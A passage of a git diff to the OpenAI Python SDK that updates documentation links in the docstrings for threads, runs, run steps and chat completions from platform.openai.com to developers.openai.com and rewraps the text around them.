- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
additional_instructions: Appends additional instructions at the end of the instructions for the run. This
@@ -1760,8 +1764,8 @@ async def create(
additional_messages: Adds additional messages to the thread before creating the run.
instructions: Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
max_completion_tokens: The maximum number of completion tokens that may be used over the course of the
run. The run will make a best effort to use only the number of completion tokens
@@ -1782,31 +1786,32 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
reasoning_effort: Constrains effort on reasoning for reasoning models. Currently supported values
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -1889,8 +1894,8 @@ async def create(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -1901,7 +1906,7 @@ async def create(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
additional_instructions: Appends additional instructions at the end of the instructions for the run. This
@@ -1911,8 +1916,8 @@ async def create(
additional_messages: Adds additional messages to the thread before creating the run.
instructions: Overrides the
- [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant)
- of the assistant. This is useful for modifying the behavior on a per-run basis.
+ [instructions](https://developers.openai.com/api/docs/assistants/migration) of
+ the assistant. This is useful for modifying the behavior on a per-run basis.
max_completion_tokens: The maximum number of completion tokens that may be used over the course of the
run. The run will make a best effort to use only the number of completion tokens
@@ -1933,31 +1938,32 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
reasoning_effort: Constrains effort on reasoning for reasoning models. Currently supported values
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
diff --git a/src/openai/resources/beta/threads/runs/steps.py b/src/openai/resources/beta/threads/runs/steps.py
index 784c7f49b8..13f6856765 100644
--- a/src/openai/resources/beta/threads/runs/steps.py
+++ b/src/openai/resources/beta/threads/runs/steps.py
@@ -69,7 +69,7 @@ def retrieve(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
extra_headers: Send extra headers
@@ -142,7 +142,7 @@ def list(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
limit: A limit on the number of objects to be returned. Limit can range between 1 and
@@ -234,7 +234,7 @@ async def retrieve(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
extra_headers: Send extra headers
@@ -307,7 +307,7 @@ def list(
to fetch the file search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
limit: A limit on the number of objects to be returned. Limit can range between 1 and
diff --git a/src/openai/resources/beta/threads/threads.py b/src/openai/resources/beta/threads/threads.py
index 8c568b19b4..09ecb75f4c 100644
--- a/src/openai/resources/beta/threads/threads.py
+++ b/src/openai/resources/beta/threads/threads.py
@@ -109,8 +109,9 @@ def create(
Create a thread.
Args:
- messages: A list of [messages](https://platform.openai.com/docs/api-reference/messages) to
- start the thread with.
+ messages: A list of
+ [messages](https://developers.openai.com/api/docs/assistants/migration) to start
+ the thread with.
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -324,8 +325,8 @@ def create_and_run(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
instructions: Override the default system message of the assistant. This is useful for
modifying the behavior on a per-run basis.
@@ -349,24 +350,25 @@ def create_and_run(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -458,8 +460,8 @@ def create_and_run(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -487,24 +489,25 @@ def create_and_run(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -592,8 +595,8 @@ def create_and_run(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -621,24 +624,25 @@ def create_and_run(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -996,8 +1000,9 @@ async def create(
Create a thread.
Args:
- messages: A list of [messages](https://platform.openai.com/docs/api-reference/messages) to
- start the thread with.
+ messages: A list of
+ [messages](https://developers.openai.com/api/docs/assistants/migration) to start
+ the thread with.
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -1211,8 +1216,8 @@ async def create_and_run(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
instructions: Override the default system message of the assistant. This is useful for
modifying the behavior on a per-run basis.
@@ -1236,24 +1241,25 @@ async def create_and_run(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -1345,8 +1351,8 @@ async def create_and_run(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -1374,24 +1380,25 @@ async def create_and_run(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -1479,8 +1486,8 @@ async def create_and_run(
Args:
assistant_id: The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to
- execute this run.
+ [assistant](https://developers.openai.com/api/docs/assistants/migration) to use
+ to execute this run.
stream: If `true`, returns a stream of events that happen during the Run as server-sent
events, terminating when the Run enters a terminal state with a `data: [DONE]`
@@ -1508,24 +1515,25 @@ async def create_and_run(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to
- be used to execute this run. If a value is provided here, it will override the
- model associated with the assistant. If not, the model associated with the
- assistant will be used.
+ model: The ID of the
+ [Model](https://developers.openai.com/api/reference/resources/models) to be used
+ to execute this run. If a value is provided here, it will override the model
+ associated with the assistant. If not, the model associated with the assistant
+ will be used.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index abef2bf7c9..78b0cb9d33 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -298,43 +298,43 @@ def create(
) -> ChatCompletion:
"""
**Starting a new project?** We recommend trying
- [Responses](https://platform.openai.com/docs/api-reference/responses) to take
- advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Responses](https://developers.openai.com/api/reference/resources/responses) to
+ take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://platform.openai.com/docs/guides/text-generation),
- [vision](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text),
+ [vision](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
Args:
messages: A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message
- types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
+ [model](https://developers.openai.com/api/docs/models) you use, different
+ message types (modalities) are supported, like
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
audio: Parameters for audio output. Required when audio output is requested with
`modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
frequency_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on their
existing frequency in the text so far, decreasing the model's likelihood to
@@ -374,15 +374,15 @@ def create(
max_completion_tokens: An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -397,8 +397,8 @@ def create(
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
@@ -409,7 +409,7 @@ def create(
choices. Keep `n` as `1` to minimize costs.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
prediction: Static predicted output content, such as the content of a text file that is
@@ -421,7 +421,7 @@ def create(
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -430,7 +430,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -438,7 +438,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -455,7 +455,7 @@ def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: An object specifying the format that the model must output.
@@ -463,7 +463,7 @@ def create(
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -474,7 +474,7 @@ def create(
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
seed: This feature is in Beta. If specified, our system will make a best effort to
sample deterministically, such that repeated requests with the same `seed` and
@@ -489,13 +489,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -509,8 +511,9 @@ def create(
returned text will not contain the stop sequence.
store: Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
@@ -518,9 +521,9 @@ def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
stream_options: Options for streaming response. Only set this when you set `stream: true`.
@@ -541,8 +544,9 @@ def create(
are present.
tools: A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
to return at each token position, each with an associated log probability. In
@@ -559,7 +563,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
verbosity: Constrains the verbosity of the model's response. Lower values will result in
more concise responses, while higher values will result in more verbose
@@ -568,7 +572,7 @@ def create(
web_search_options: This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
extra_headers: Send extra headers
@@ -630,52 +634,52 @@ def create(
) -> Stream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
- [Responses](https://platform.openai.com/docs/api-reference/responses) to take
- advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Responses](https://developers.openai.com/api/reference/resources/responses) to
+ take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
